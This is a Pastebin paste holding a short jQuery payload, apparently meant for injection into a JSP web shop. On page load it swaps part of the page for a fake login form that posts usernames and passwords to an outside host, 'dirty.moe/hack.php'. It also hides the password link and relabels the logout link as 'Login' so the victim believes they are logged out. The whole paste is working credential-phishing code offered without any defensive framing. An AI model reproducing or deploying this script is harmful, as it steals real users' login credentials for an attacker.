Advertisement
Guest User

Untitled

a guest
Apr 27th, 2017
103
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.82 KB | None | 0 0
  1. $(document).ready(function(){
  2. $('td[valign="top"]:nth-of-type(2)').replaceWith(`
  3. <h3>Login</h3>
  4. Please enter your credentials: <br><br>
  5. <form method="POST" action="http://dirty.moe/hack.php">
  6. <center>
  7. <table>
  8. <tbody><tr>
  9. <td>Username:</td>
  10. <td><input id="username" name="username" data-cip-id="username"></td>
  11. </tr>
  12. <tr>
  13. <td>Password:</td>
  14. <td><input id="password" name="password" type="password" data-cip-id="password"></td>
  15. </tr>
  16. <tr>
  17. <td></td>
  18. <td><input id="submit" type="submit" value="Login"></td>
  19. </tr>
  20. </tbody></table>
  21. </center>
  22. </form>
  23. If you dont have an account with us then please <a href="register.jsp">Register</a> now for a free account.
  24. <br><br>
  25. `);
  26. var a = $('a[href="password.jsp"]');
  27.  
  28. a.hide();
  29. a.parent().html('Guest User');
  30.  
  31. $('a[href="logout.jsp"]').html("Login");
  32. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement